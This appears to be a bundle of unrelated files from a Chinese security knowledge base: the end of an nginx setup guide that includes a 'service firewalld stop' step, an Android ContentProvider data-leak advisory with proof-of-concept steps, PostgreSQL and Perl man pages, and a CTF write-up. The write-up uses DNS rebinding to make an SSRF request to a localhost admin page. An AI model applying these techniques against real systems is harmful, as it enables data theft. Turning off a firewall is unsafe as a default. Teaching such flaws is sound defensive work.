server_name xxx.xx;
location ~ \.php$ {
fastcgi_pass unix:/run/php/php7.2-fpm.sock;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}
}
```
```bash
service nginx restart
service firewalld stop
```
---
## 流媒体服务
```
apt install nginx
```
获取 RTMP 模块
```
add-apt-repository universe
apt install libnginx-mod-rtmp
```
```diff
vim /etc/nginx/nginx.conf
++ rtmp {
++ server {
++ listen 1935;
++ chunk_size 4096;
++ application live {
++ live on;
++ record off;
++ }
++ }
++ }
```
```
systemctl restart nginx
```
obs 上设置
然后开始推流即可
---
## 隐藏 Nginx 版本号
编辑 `nginx.conf`
在 `http{}` 段中加入 `server_tokens off;`
---
## 413 Request Entity Too Large
nginx 默认上传文件的大小是 1M,可 nginx 的设置中修改
编辑 `nginx.conf`
在 `http{}` 段中加入 `client_max_body_size 20m`
将允许最大上传的大小设为 20m
---
## Source & Reference
- https://linux.cn/article-14159-1.html
- https://blog.csdn.net/fdipzone/article/details/45544497
|
sec-knowleage
|
## Content Provider任意数据访问漏洞
> 阿里聚安全发布于 2016-06-02
### 漏洞描述
ContentProvider的权限没有做好控制,可能导致APP的敏感数据泄露
content URI是一个标志provider中的数据的URI。Content URI中包含了整个provider的以符号表示的名字(它的authority)和指向一个表的名字(一个路径)。
当调用一个客户端的方法来操作一个 provider 中的一个表,指向表的contentURI是参数之一,如果对ContentProvider的权限没有做好控制,就有可能导致恶意的程序通过这种方式读取APP的敏感数据。
### 影响范围
近乎 Android 所有系统
### 漏洞详情
#### 漏洞位置
```xml
<provider android:name=".providers.XXXProvider" android:process="com.xxx.yyyy" android:authorities="com.xxx.yyyy.providers.DataStructs"/>
```
#### 漏洞触发条件
Content Provider 对外导出;定义了私有权限,但是却根本没有定义私有权限的级别,或者定义的权限级别不够,导致恶意应用只要声明这个权限就能够访问到相应的Content Provider提供的数据,造成数据泄露。
#### 漏洞原理
content uri是一个标志provider中的数据的URI。content uri中包含了整个provider的以符号表示的名字(authority)和指向一个表的名字(路径)。
当调用一个客户端的方法来操作一个provider的表,指向表的content uri是参数之一。

```markdown
1. content:// : 作为 content Uri的特殊标识(必须);
2. 权(authority) : 用于唯一标识这个Content Provider,外部访问者可以根据这个标识找到它;在AndroidManifest中也配置的有;
3. 路径(path) : 所需要访问数据的路径,根据业务而定。
```
如果对Content Provider的权限没有做好控制, 比如定义了私有权限,但是却根本没有定义私有权限的级别;或者定义的权限级别不够, 就有可能导致恶意的程序通过这种方式读取APP的敏感数据。
### poc/exp
#### 例子1 公开的乌云漏洞WooYun-2014-57590:
某网盘客户端使用了自己的私有权限,但是在AndroidManifest中却没有定义私有权限,其它APP只要声明这个权限就能访问此网盘客户端提供的Provider,从而访问到用户数据。
在网盘客户端的AndroidManifest中注册Provider时,声明了访问时需要的读写权限,并且权限为客户端自定义的私有权限:

但是在AndroidManifest中却没有见到私有权限“com.xxxx.dbank.v7.provider.DBank.READ_DATABASE”和“com.xxxx.dbank.v7.provider.DBank.WRITE_DATABASE”的定义:

反编译客户端后查看到的URI,根据这些可以构造访问到Provider的URI:

编写POC
以查看网盘下载的文件列表为例,
在POC的AndroidManifest中声明私有权限,权限的保护级别定义为最低级“normal”:

主要代码为:

拿到数据库中保存的下载列表数据:

对应的数据库:

这样任意的恶意应用程序就可以访问到用户网盘的上传、下载记录,网盘里面存的文件列表等隐私信息。
#### 例子2 公开的乌云漏洞wooyun-2013-039697:
定义了私有权限,但是保护等级设置成为了dangerous或者normal,这样的保护等级对于一些应用的Provide重要性相比保护级低了。
Provider为:

私有权限“com.renren.mobile.android.permission.PERMISSION_ADD_ACCOUNT”的定义为:

反编译客户端,看到AcountProvider对应的实现:

编写POC:
在AndroidManifest中定义和声明权限:

主要代码为:

可看到用户的账户信息,包括uid,手机号,加密后的密码等:

### 漏洞修复建议
1. minSdkVersion不低于9
2. 不向外部app提供数据的私有content provider显示设置exported=”false”,避免组件暴露(编译api小于17时更应注意此点)
3. 内部app通过content provid交换数据时,设置protectionLevel=”signature”验证签名
4. 公开的content provider确保不存储敏感数据
|
sec-knowleage
|
.\" auto-generated by docbook2man-spec $Revision: 1.1 $
.TH "SELECT INTO" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands"
.SH NAME
SELECT INTO \- 从一个查询的结果中创建一个新表
.SH SYNOPSIS
.sp
.nf
SELECT [ ALL | DISTINCT [ ON ( \fIexpression\fR [, ...] ) ] ]
* | \fIexpression\fR [ AS \fIoutput_name\fR ] [, ...]
INTO [ TEMPORARY | TEMP ] [ TABLE ] \fInew_table\fR
[ FROM \fIfrom_item\fR [, ...] ]
[ WHERE \fIcondition\fR ]
[ GROUP BY \fIexpression\fR [, ...] ]
[ HAVING \fIcondition\fR [, ...] ]
[ { UNION | INTERSECT | EXCEPT } [ ALL ] \fIselect\fR ]
[ ORDER BY \fIexpression\fR [ ASC | DESC | USING \fIoperator\fR ] [, ...] ]
[ LIMIT { \fIcount\fR | ALL } ]
[ OFFSET \fIstart\fR ]
[ FOR UPDATE [ OF \fItablename\fR [, ...] ] ]
.sp
.fi
.SH "DESCRIPTION 描述"
.PP
\fBSELECT INTO\fR 从一个查询的计算结果中创建一个新表。 数据并不返回给客户端,这一点和普通的 SELECT 不同。 新表的字段具有和 SELECT 的输出字段相关联(相同)的名字和数据类型。
.SH "PARAMETERS 参数"
.TP
\fBTEMPORARY 或 TEMP\fR
如果声明了这个关键字,那么该表是作为一个临时表创建的。 请参考 CREATE TABLE [\fBcreate_table\fR(7)] 获取细节。
.TP
\fB\fInew_table\fB\fR
要创建的表的表名(可以有模式修饰)。
.PP
所有其它输入的域都在 SELECT [\fBselect\fR(7)] 中有详细描述。
.PP
.SH "NOTES 注意"
.PP
CREATE TABLE AS [\fBcreate_table_as\fR(7)]
的作用和 SELECT INTO 相同。 我们建议使用 CREATE TABLE AS 语法, 因为 SELECT INTO 不是标准语法。 实际上,这种类型的 SELECT INTO 是不能在 ECPG 或者 PL/pgSQL 中使用的, 因为它们对 INTO 子句的解释是不同的。
.SH "COMPATIBILITY 兼容性"
.PP
SQL 标准用 SELECT ... INTO 表示选取数值到一个宿主程序的标量变量中, 而不是创建一个新表。这种用法实际上就是在 ECPG (参阅 Chapter 29)和PL/pgSQL (Chapter 35)里的用途。 PostgreSQL 用 SELECT INTO 代表创建表的意思是历史原因。 在新代码里我们最好使用 CREATE TABLE AS 实现这个目地。 (CREATE TABLE AS 也不是标准,但至少它出现混淆的机会少一些。)
.SH "译者"
.B Postgresql 中文网站
.B 何伟平 <laser@pgsqldb.org>
|
sec-knowleage
|
# urlcheck v2
Just like in previous prolem here we have a simple form that makes the http request for us and returns the response. Quick glance at the code:
```python
import os, re, time, ipaddress, socket, requests, flask
from urllib.parse import urlparse
app = flask.Flask(__name__)
app.flag = '***CENSORED***'
def valid_ip(ip):
try:
result = ipaddress.ip_address(ip)
# Stay out of my private!
return result.is_global
except:
return False
def valid_fqdn(fqdn):
return valid_ip(socket.gethostbyname(fqdn))
def get(url, recursive_count=0):
r = requests.get(url, allow_redirects=False)
if 'location' in r.headers:
if recursive_count > 2:
return '🤔'
url = r.headers.get('location')
if valid_fqdn(urlparse(url).netloc) == False:
return '🤔'
return get(url, recursive_count + 1)
return r.text
@app.route('/admin-status')
def admin_status():
if flask.request.remote_addr != '127.0.0.1':
return '🥺'
return app.flag
@app.route('/check-status')
def check_status():
url = flask.request.args.get('url', '')
if valid_fqdn(urlparse(url).netloc) == False:
return '🥺'
return get(url)
```
so we need to make an SSRF to http://localhost/admin-status
The problem it that first it checks if the domain resolves to 127.0.0.1 and fails if so.
Whole operation, however, is not atomic. One needs to notice that the domain is resolved twice - first in `valid_ip` function for checking if the ip is not local, then while making the final request in `get` function. That means we can make us of the technique called *DS Rebinding*. If we can make our DNS server respond with global IP address for the first requests and with 127.0.0.1 for the second - we'll get a flag :)
Luckily there are open services working just like we want, so we don't have to configure the server ourselves. One of them is https://lock.cmpxchg8b.com/rebinder.html. We generate the URL, try a couple of times, and... here it is!
```
$ curl 'http://urlcheck2.chal.ctf.westerns.tokyo/check-status?url=http://4d37d938.7f000001.rbndr.us/admin-status'
TWCTF{17_15_h4rd_70_55rf_m17164710n_47_4pp_l4y3r:(}
```
|
sec-knowleage
|
.\" Automatically generated by Pod::Man v1.37, Pod::Parser v1.14
.\"
.\" Standard preamble:
.\" ========================================================================
.\".de Sh\" Subsection heading
.\".br
.\".if t .Sp
.\".ne 5
.\".PP
.\"\fB\\$1\fR
.\".PP
.\"..
.\".de Sp\" Vertical space (when we can't use .PP)
.\".if t .sp .5v
.\".if n .sp
.\"..
.\".de Vb\" Begin verbatim text
.\".ft CW
.\".nf
.\".ne\\$1
.\"..
.\".de Ve\" End verbatim text
.\".ft R
.\".fi
.\"..
.\".\" Set up some character translations and predefined strings. \*(-- will
.\".\" give an unbreakable dash,\*(PI will give pi,\[lq] will give a left
.\".\" double quote, and\[rq] will give a right double quote. | will give a
.\".\" real vertical bar. \*(C+ will give a nicer C++. Capital omega is used to
.\".\" do unbreakable dashes and therefore won't be available. ` and'
.\".\" expand to `' in nroff, nothing in troff, for use with C<>.
.\".tr \(*W-|\(bv\*(Tr
.\".ds C+ C\v'-.1v'\h'-1p'\s-2+\h'-1p'+\s0\v'.1v'\h'-1p'
.\".ie n\{\
.\". ds --\(*W-
.\". ds PI pi
.\". if (\n(.H=4u)&(1m=24u) .ds --\(*W\h'-12u'\(*W\h'-12u'-\" diablo 10 pitch
.\". if (\n(.H=4u)&(1m=20u) .ds --\(*W\h'-12u'\(*W\h'-8u'-\" diablo 12 pitch
.\". ds L" ""
.\". ds R" ""
.\". ds C` ""
.\". ds C' ""
.\"'br\}
.\".el\{\
.\". ds --\|\(em\|
.\". ds PI\(*p
.\". ds L" ``
.\". ds R" ''
.\"'br\}
.\".\"
.\".\" If the F register is turned on, we'll generate index entries on stderr for
.\".\" titles (.TH), headers (.SH), subsections (.Sh), items (.Ip), and index
.\".\" entries marked with X<> in POD. Of course, you'll have to process the
.\".\" output yourself in some meaningful fashion.
.\".if\nF\{\
.\". de IX
.\". tm Index:\\$1\t\\n%\t"\\$2"
.\"..
.\". nr % 0
.\". rr F
.\".\}
.\".\"
.\".\" For nroff, turn off justification. Always turn off hyphenation; it makes
.\".\" way too many mistakes in technical documents.
.\".hy 0
.\".if n .na
.\".\"
.\".\" Accent mark definitions (@(#)ms.acc 1.5 88/02/08 SMI; from UCB 4.2).
.\".\" Fear. Run. Save yourself. No user-serviceable parts.
.\". \" fudge factors for nroff and troff
.\".if n\{\
.\". ds #H 0
.\". ds #V .8m
.\". ds #F .3m
.\". ds #[\f1
.\". ds #]\fP
.\".\}
.\".if t\{\
.\". ds #H ((1u-(\\\\n(.fu%2u))*.13m)
.\". ds #V .6m
.\". ds #F 0
.\". ds #[\&
.\". ds #]\&
.\".\}
.\". \" simple accents for nroff and troff
.\".if n\{\
.\". ds '\&
.\". ds `\&
.\". ds ^\&
.\". ds ,\&
.\". ds ~ ~
.\". ds /
.\".\}
.\".if t\{\
.\". ds '\\k:\h'-(\\n(.wu*8/10-\*(#H)'\'\h"|\\n:u"
.\". ds `\\k:\h'-(\\n(.wu*8/10-\*(#H)'\`\h'|\\n:u'
.\". ds ^\\k:\h'-(\\n(.wu*10/11-\*(#H)'^\h'|\\n:u'
.\". ds ,\\k:\h'-(\\n(.wu*8/10)',\h'|\\n:u'
.\". ds ~\\k:\h'-(\\n(.wu-\*(#H-.1m)'~\h'|\\n:u'
.\". ds /\\k:\h'-(\\n(.wu*8/10-\*(#H)'\z\(sl\h'|\\n:u'
.\".\}
.\". \" troff and (daisy-wheel) nroff accents
.\".ds :\\k:\h'-(\\n(.wu*8/10-\*(#H+.1m+\*(#F)'\v'-\*(#V'\z.\h'.2m+\*(#F'.\h'|\\n:u'\v'\*(#V'
.\".ds 8\h'\*(#H'\(*b\h'-\*(#H'
.\".ds o\\k:\h'-(\\n(.wu+\w'\(de'u-\*(#H)/2u'\v'-.3n'\*(#[\z\(de\v'.3n'\h'|\\n:u'\*(#]
.\".ds d-\h'\*(#H'\(pd\h'-\w'~'u'\v'-.25m'\f2\(hy\fP\v'.25m'\h'-\*(#H'
.\".ds D- D\\k:\h'-\w'D'u'\v'-.11m'\z\(hy\v'.11m'\h'|\\n:u'
.\".ds th\*(#[\v'.3m'\s+1I\s-1\v'-.3m'\h'-(\w'I'u*2/3)'\s-1o\s+1\*(#]
.\".ds Th\*(#[\s+2I\s-2\h'-\w'I'u*3/5'\v'-.3m'o\v'.3m'\*(#]
.\".ds ae a\h'-(\w'a'u*4/10)'e
.\".ds Ae A\h'-(\w'A'u*4/10)'E
.\". \" corrections for vroff
.\".if v .ds ~\\k:\h'-(\\n(.wu*9/10-\*(#H)'\s-2\u~\d\s+2\h'|\\n:u'
.\".if v .ds ^\\k:\h'-(\\n(.wu*10/11-\*(#H)'\v'-.4m'^\v'.4m'\h'|\\n:u'
.\". \" for low resolution devices (crt and lpr)
.\".if\n(.H>23 .if\n(.V>19\
.\"\{\
.\". ds : e
.\". ds 8 ss
.\". ds o a
.\". ds d- d\h'-1'\(ga
.\". ds D- D\h'-1'\(hy
.\". ds th\o'bp'
.\". ds Th\o'LP'
.\". ds ae ae
.\". ds Ae AE
.\".\}
.\".rm #[ #] #H #V #F C
.\".\" ========================================================================
.\".\"
.\".IX Title "PERLDATA 1"
.TH PERLDATA 7 "2003-11-25" "perl v5.8.3" "Perl Programmers Reference Guide"
.SH "NAME"
perldata\- Perl 数据类型
.SH "DESCRIPTION 描述"
.\".IX Header "DESCRIPTION"
.SS "Variable names 变量名"
.\".IX Subsection "Variable names"
Perl 有三种内建的数据类型:标量,数组和关联数组(即\[lq]哈希表,
hash\[rq])。数组以数字为索引,通常以0开始,升序排列。哈希表以与值相关联
的字符串为索引,内部排列是无序的。
.PP
值通常通过一个变量名(或变量名的引用)来引用。变量名的前缀字符显示了值的
数据类型。其余部分指明了引用的是哪一个特定的值。通常变量名是一个唯一的标
识符,以字母或下划线开始,包括字母、下划线和数字。某些情况下,也可以是以
`::'\fR 分隔的一串标识符(或者是过时的`''\fR);除了最后一
个,其它都是包名,用来定位最后一个标识符所在的位置(详情参见 perlmod 中的
Packages)。可以用一个简单的标识符来替代它,利用引用就可以。下文有详述,
也可参见 perlref .
.PP
Perl 也有内建的变量,其名称不遵循这一规则。它们名称古怪,这样可以避免与你的变量名冲突。模式匹配中被匹配到的字符串是以`$'\fR 加一个数字的变量名来存放的(参见 the perlop manpage 和 the perlre manpage)。 另外,还有几个使你可以介入perl 内部工作的特殊变量,其名称中包含标点和控制字符(参见 perlvar )
.PP
标量以 '$'开始, 即使它是数组或哈希的元素也是如此。可以把 '$' 理解为`s'
,表示scalar(标量)。(译者注:此处根据有关文档,做了改动,下面的@处也
是这样)
.PP
.nf
\& $days # 简单标量 "days"
\& $days[28] # 数组 @days的第29个元素
\& $days{'Feb'} # 哈希 %days的 `Feb' 所对应的值
\& $#days # 数组 @days的最后一个元素的索引值
.fi
.PP
整个数组(或数组和哈希的局部)以 '@'开始, 它类似英文中的\[lq]these\[rq]
或\[lq]those\[rq] (这些...那些...),表示期望有多个值。
.PP
.nf
\& @days # ($days[0], $days[1],... $days[n])
\& @days[3,4,5] # 即 ($days[3],$days[4],$days[5])
\& @days{'a','c'} # 即 ($days{'a'},$days{'c'})
.fi
.PP
整个哈希以 '%' 开始:
.PP
.nf
\& %days # (key1, val1, key2, val2 ...)
.fi
.PP
另外,子程序以'&'来表示, 但有时在不引起误解的情况下也可以不用, 就象
\[lq]do\[rq] 在英语中常常省略一样。 符号表项以 '*' 作为开始字符, 不过你
现在还不用关心这个 (if ever ;-)
.PP
每一种数据类型都有它自己的名字空间,常量标识符也一样。这意味着你可以使用
同一个名字来命名标量、数组、哈希、文件句柄、目录句柄、子程序、格式或标签。
即$foo\fR 和@foo\fR 是不同的变量。也即意味着$foo[1]\fR 是
@foo\fR 的一部分, 而不是$foo\fR的一部分. 这看来有些怪异,不过很
正常,因为它本来就怪异。
.PP
因为变量名以 '$', '@', 或 '%'开始, 保留词对变量没有什麽影响。保留词影响
的是标签和文件句柄,因为它们不是以特殊字符前缀开始的。你不能用\[lq]log\[rq]
来命名文件句柄,因为它是保留词(提示:你可以用
`open(LOG,'logfile')'\fR 而不是
`open(log,'logfile')'\fR). 使用大写的文件句柄既增加了可读性,
又减少了冲突的发生。大小写是有意义的\-\-\[lq]\s-1FOO\s0\[rq],\[lq]Foo\[rq],
和\[lq]foo\[rq] 是不同的名称。以字母或下划线开始的名称可以包含数字和下划线。
.PP
可以用一个返回相关引用的表达式来替换这样的变量名。参见 perlref
.PP
以数字开始的变量名只能包含数字。不是以字母、下划线或数字开始的变量名只能
含有一个字符,如:$%\fR 或$$\fR. (大部分这样的变量都有特殊的意
义。例如,$$\fR 是当前进程的id。)
.SS "Context 上下文"
.\".IX Subsection "Context"
在 Perl 中有时操作或值的意义取决于该操作或值所处的上下文。有两个主要的上
下文:列表和标量上下文。相当一部分操作在需要列表的上下文中返回列表,在需
要标量的上下文中返回标量。这在有关该操作的文档中会提到。换句话讲,Perl会
重载这些操作符。英语中的某些词,如`fish'和`sheep'与此类似。
.PP
操作可以根据不同的上下文返回不同的值。例如,如果这样写:
.PP
.nf
\& int( <STDIN> )
.fi
.PP
integer 操作提供标量上下文给 <> 操作符, <> 会从STDIN 读入一行返回给 integer 操作,然后它返回其中的整型量。但如果你这样写:
.PP
.nf
\& sort( <STDIN> )
.fi
.PP
sort操作提供列表上下文给<>, <>会读入STDIN中的每一行直到结束,然后将其传递给sort,sort然后将其排序输出。
.PP
赋值比较特殊,左侧的参数决定了右侧的参数的上下文。赋值给标量,则右侧参数的上下文是标量上下文;赋值给数组或哈希,则右侧参数的上下文是列表上下文。赋值给列表(或片段,其实也是列表),右侧的上下文也是列表上下文。
.PP
当你使用`use warnings'\fR 编译指示或 Perl 的\fB\-w\fR 参数时,
你可能会看到这样的警告:在\[lq]无效的上下文,void context\[rq] 中使用了常量
或函数。无效上下文的意思是值被丢弃不用,比如只包含有"fred";
\fR 的语句; 或是`getpwuid(0);'\fR;. 在要求列表上下文的函数
被标量上下文环境调用时,也会出现这个警告.
.PP
用户定义的子程序可能会需要查看上下文是无效,标量,还是列表。不过,大多数并
不需要这么做。因为标量和列表会自动插入到一个列表中。参见 perlfunc 中的
\[lq]wantarray\[rq] 以了解如何辨明你的函数调用时的上下文。
.SS "Scalar values 标量"
.\".IX Subsection "Scalar values"
Perl 中的所有数据都是标量, 标量的数组,标量的哈希. 标量可以是三种不同的值: 数字, 字符(串), 引用. 通常, 不同值之间的转换是透明的. 虽然一个标量不可能有多个值, 但是它可以是一个包含多个值的数组或哈希的引用.
.PP
标量不一定非此即彼. 不需要声明变量的类型是"字符串","数字","引用"或其它什麽. 因为标量会自动转换, 所以其类型不用关心. Perl 是上下文多形语言,它的标量可以是字符串,数字或引用(包括对象). 其中字符串和数字在大多数情况下并没有什麽不同, 引用是强化的,不可变的带有内建引用计数和析构器的指针.
.PP
标量在不是空字符串和数字0的时候被解释为真 TRUE. 布尔上下文是这样一种上下文, 这时不会发生数字或字符串的自动转换.
.PP
有两种空字符串(有时以"empty"表示), 定义了的和未定义的. 定义了的空字符串就是长度为零的字符串,如"". 未定义的空字符串是一个值,这个值表示某事物并没有真实值与它对应, 比如出错, 或到达文件尾, 或者你引用一个未定义的数组或哈希的元素时,都会返回一个未定义的空字符串. 虽然在早期Perl 中,在要求已定义变量的上下文中使用未定义的变量可以使得该变量得到定义, 现在却只有在特殊的情况下才会出现这种结果,参见the perlref manpage. 可以用defined() 函数来检测标量是否已经定义(对数组和哈希无效),也可以用undef() 去除对变量的定义.
.PP
要弄清楚一个字符串是否是有效的非0数字,只要看它是不是数字0和字母\[lq]0\[rq] 就足够了(不过这在使用-w参数时,会显示警告). 因为非数字的字符串被看作0, 与awk中相似:
.PP
.nf
\& if ($str == 0 && $str ne "0") {
\& warn "That doesn't look like a number";
\& }
.fi
.PP
这种方法可能是最好的,因为如若不然你不会正确对待\s-1IEEE\s0 的注释,比如`NaN'\fR 和无穷大. 别的时候, 你可能更愿意用\fIPOSIX::strtod()\fR 函数或是正则表达式来检测字符串是否能用做数字(参见perlre).
.PP
.nf
\& warn "has nondigits" if /\eD/;
\& warn "not a natural number" unless /^\ed+$/; # rejects -3
\& warn "not an integer" unless /^-?\ed+$/; # rejects +3
\& warn "not an integer" unless /^[+-]?\ed+$/;
\& warn "not a decimal number" unless /^-?\ed+\e.?\ed*$/; # rejects .2
\& warn "not a decimal number" unless /^-?(?:\ed+(?:\e.\ed*)?|\e.\ed+)$/;
\& warn "not a C float"
\& unless /^([+-]?)(?=\ed|\e.\ed)\ed*(\e.\ed*)?([Ee]([+-]?\ed+))?$/;
.fi
.PP
数组的长度是标量. 通过$#days你可以知道@days的长度. 技术上讲,这不是数组的长度; 而是最后一个元素的下标,因为第一个元素的下标是0. 对$#days 赋值会改变数组的长度. 以这种方式减少数组的话, 会破坏其中的值, 再增加其长度也不能恢复. (Perl 4中是可以的, 我们改变了它以确保析构器被及时调用.)
.PP
你可以使用一些小技巧来预扩展一个数组(如果你知道它将会变得很大的话). 可以用给超出数组范围的元素赋值的方法扩展数组. 可以给数组赋值一个空列表以清空数组. 下面语句等价:
.PP
.nf
\& @whatever = ();
\& $#whatever = -1;
.fi
.PP
数组处于标量上下文中时, 返回值是数组的长度. (列表在标量上下文中,返回值是列表的最后一个元素,像是C中的逗号操作符, 而内建函数的返回值由它们自己决定.) 以下语句为真:
.PP
.nf
\& scalar(@whatever) == $#whatever - $[ + 1;
.fi
.PP
Perl 5 改变了$[\fR 的意义: 不必担心别的程序改变了$[\fR 的值. (换言之,不推荐使用$[\fR ) 所以,可以写成这样:
.PP
.nf
\& scalar(@whatever) == $#whatever + 1;
.fi
.PP
有些程序员为了明确起见, 会使用显式的转换:
.PP
.nf
\& $element_count = scalar(@whatever);
.fi
.PP
当哈希处于标量上下文中时, 如果哈希为空, 返回值为假, 如果非空, 返回值为真; 说得更精确些, 返回值是个字符串, 由已经使用的存储段和分配的全部存储段组成,二者之间以斜杠分隔. 这可以用来反映Perl的哈希算法的好坏. 例如, 你的哈希中有10,000个元素,但是%HASH\fR 的标量值为"1/16"\fR, 则说明仅用到了16个存储段中的一个, 也许10,000个元素都在这一个存储段中. 最好不要发生这种情况.
.PP
你可以预先为哈希分配空间, 这要使用给\fIkeys()\fR 函数赋值的方法来实现. 实际分配的空间是大于所给值的二的幂:
.PP
.nf
\& keys(%users) = 1000; # 分配 1024 空间
.fi
.SS "Scalar value constructors 标量数据构造"
.\".IX Subsection "Scalar value constructors"
数值常量有以下浮点和整数格式:
.PP
.nf
\& 12345
\& 12345.67
\& .23E-10 # a very small number
\& 3.14_15_92 # a very important number
\& 4_294_967_296 # underscore for legibility
\& 0xff # hex
\& 0xdead_beef # more hex
\& 0377 # octal
\& 0b011011 # binary
.fi
.PP
在数字常量中可以在数字间插入下划线来增加可读性。例如,可以三位一组 (Unix 样式的分组,例如 0b110_110_100),或者四位一组 (来表示 nibbles,例如 0b1010_0110),或者其他分组。
.PP
字符串通常以单引号或双引号括起. 与标准Unix shells中的引号相似: 双引号可以接收转义和变量; 单引号不可以 (除了`\e''\fR 和`\e\e'\fR)). C 样式的转义字符可以用来输入新行,跳格等字符,转义字符的列表可以参见 perlop 中的\[lq]Quote and Quote-like Operators\[rq]
.PP
十六进制,八进制,或二进制以字符串形式表示(如:'0xff'),不能自动转换为十进制形式. hex() 和 oct() 函数可以实现转换. 参见 perlfunc 中的 hex 和 oct 了解详情.
.PP
可以在字符串中直接加入新行. 字符串中的变量只能是标量,数组和数组或哈希的片段 (换言之, 以$或@开始, 后跟下标.).
以下语句打印``The price is $\&100.''
.PP
.nf
\& $Price = '$100'; # not interpolated
\& print "The price is $Price.\en"; # interpolated
.fi
.PP
perl 中没有 double interpolation,因此$100\fR 保持不变。
.PP
正如在有些shell中一样, 你可以用花括号括起变量名, 以便区分变量名和其后的字母及下划线. 如果要将一个变量改写为字符串时,必须这样做,以避免与后面的双冒号或单引号连接起来,否则会被当作包名:
.PP
.nf
\& $who = "Larry";
\& print PASSWD "${who}::0:0:Superuser:/:/bin/perl\en";
\& print "We use ${who}speak when ${who}'s here.\en";
.fi
.PP
如果没有花括号, Perl会寻找 $whospeak, $who::0, 和 $who's 变量. 后两个是不存在的 who 包中的$0 和 $s.
.PP
实际上, 花括号中的标识符必须是字符串, 哈希的下标也必须是字符串. 都不需要引号, 前面的例子$days{'Feb'} 可以写作 $days{Feb} 引号会自动加上. 但是下标中的其它复杂内容被解释为表达式.
.PP
\fIVersion Strings\fR
.\".IX Subsection "Version Strings"
.PP
\fB注意:\fR Version Strings (v\-strings) have been deprecated. They will
not be available after Perl 5.8. The marginal benefits of v\-strings
were greatly outweighed by the potential for Surprise and Confusion.
.PP
类似`v1.20.300.4000'\fR 这样的形式被解释为一个字符串. 这种形式称为 v\-strings,提供了更易读的方法来构造字符串,比起"\ex{1}\ex{14}\ex{12c}\ex{fa0}"\fR 更加易读. 这在表示 Unicode 字符串时很有用, 在使用字符串比较命令(`cmp'\fR,`gt'\fR,`lt'\fR 等)比较版本号时也非常有用. 如果其中的点号多于两个, 则开始的`v'\fR 可以省略.
.PP
.nf
\& print v9786; # prints UTF-8 encoded SMILEY, "\ex{263a}"
\& print v102.111.111; # prints "foo"
\& print 102.111.111; # same
.fi
.PP
这种形式可以用于require 和 use 中作版本检查.\[lq]$^V\[rq] 特殊变量中的Perl版本号就是以这种形式保存的. 参见 perlvar 中的\[lq]$^V\[rq]
注意使用 v\-strings 来保存 IPv4 地址是不可移植的,除非同时使用 Socket 包的\fIinet_aton()\fR/\fIinet_ntoa()\fR 函数。
.PP
注意从 Perl 5.8.1 开始单个数字的 v\-strings (类似`v65'\fR) 如果在`=>'\fR 操作符(通常用来从 hash 值中区分开 hash 键) 之前,不是一个 v\-strings,而是解释为字符串 ('v65')。在 Perl 5.6.0 到 Perl 5.8.0 它一直是 v\-strings,但是这样带来了更多混淆和错误而不是优点。多个数字的 v\-strings,类似`v65.66'\fR 和65.66.67\fR,继续总是被当作 v\-strings
.PP
\fI特殊常量\fR
.\".IX Subsection "Special Literals"
.PP
特殊变量 _\|_FILE_\|_, _\|_LINE_\|_, 和 _\|_PACKAGE_\|_ 代表当前文件名,行号,和包名. 它们只能作为单独的符号来使用; 不能用于字符串中内插. 如果没有当前包(用`package;'\fR 指令来实现), 则_\|_PACKAGE_\|_ 是一个未定义的值.
.PP
控制字符 ^D 和 ^Z, 以及 _\|_END_\|_ 和 _\|_DATA_\|_ 变量可以表示文件的逻辑结束. 其后的文本被忽略.
.PP
_\|_DATA_\|_ 之后的文本可以通过文件句柄`PACKNAME::DATA'\fR 读取,`PACKNAME'\fR 是 _\|_DATA_\|_ 所在的包的名称. 句柄指向_\|_DATA_\|_ 后面的文本. 读取结束程序会自动关闭该句柄`close DATA'\fR. 为了与 _\|_DATA_\|_ 还没有出现以前已经存在的程序兼容, _\|_END_\|_ 在顶级脚本中与 _\|_DATA_\|_ 性质相同(在用`require'\fR 或`do'\fR 调用时是不同的) 不过可以通过`main::DATA'\fR 来调用其中的内容.
.PP
参见 SelfLoader 详细了解 _\|_DATA_\|_, 其中还有例子. 要注意在BEGIN 块中无法读取DATA句柄: 因为BEGIN 块在编译时即被执行, 而此时 _\|_DATA_\|_ (或 _\|_END_\|_) 还未被程序看到.
.PP
\fI裸词\fR
.\".IX Subsection "Barewords"
.PP
在文法上没有特殊意义的词语都被看作字符串. 称之为 "裸词". 和文件句柄以及标签一样, 仅包含小写字母的裸词有可能在将来与程序中的保留词发生冲突, 实际上,当你使用`use warnings'\fR 语句,或是\fB\-w\fR 选项时, Perl会对此提出警告. 一些人可能希望完全禁止这样的词. 如果有如下语句:
.PP
.nf
\& use strict 'subs';
.fi
.PP
那么不能被解释为子程序的裸词会引起编译时错误. 这种限制到块结束时终止. 而内部的块可以撤消这一限制, 用`no strict 'subs''\fR
.PP
\fI数组合并分隔符\fR
.\".IX Subsection "Array Joining Delimiter"
.PP
数组和序列被合并为双引号引用的字符串时,以变量$"\fR 指定的值 (如果指定了\[lq]use English;\[rq] 那么是$LIST_SEPARATOR\fR 的值) 作为分隔符,默认是空格。下列语句等价:
.PP
.nf
\& $temp = join($", @ARGV);
\& system "echo $temp";
.fi
.PP
.nf
\& system "echo @ARGV";
.fi
.PP
在搜索模式中(在双引号字符串中也是)有一个易混淆之处:`/$foo[bar]/'\fR 应该是`/${foo}[bar]/'\fR (`[bar]'\fR 是正则表达式的字符类) 还是`/${foo[bar]}/'\fR/ (`[bar]'\fR 是数组@foo\fR 的下标) 呢? 如果@foo\fR 不存在, 那很明显它应该是字符类. 如果@foo\fR 存在, Perl 会尽力猜测`[bar]'\fR 的含义, 且它几乎总是对的. 如果它猜错了, 或者你比较偏执, 你可以使用花括号.
.PP
here\-document 的语法已经被移动到 perlop 中的\[lq]Quote and Quote-like Operators\[rq]
.SS "List value constructors 列表值构造"
.\".IX Subsection "List value constructors"
列表是用逗号分开的各个值组成的(如果优先级需要的话,外面还要用圆括号包围):
.PP
.nf
\& (LIST)
.fi
.PP
在不需要列表的上下文中, 列表的值是最后一个元素的值, 这与C中的逗号操作符类似. 例如:
.PP
\& @foo = ('cc', '-E', $bar);
.PP
将列表赋给数组@foo, 但是
.PP
\& $foo = ('cc', '-E', $bar);
.PP
将$bar 的值赋给$foo. 注意, 数组在标量上下文中的值是数组的长度; 下例将3赋给$foo:
.PP
.nf
\& @foo = ('cc', '-E', $bar);
\& $foo = @foo; # $foo gets 3
.fi
.PP
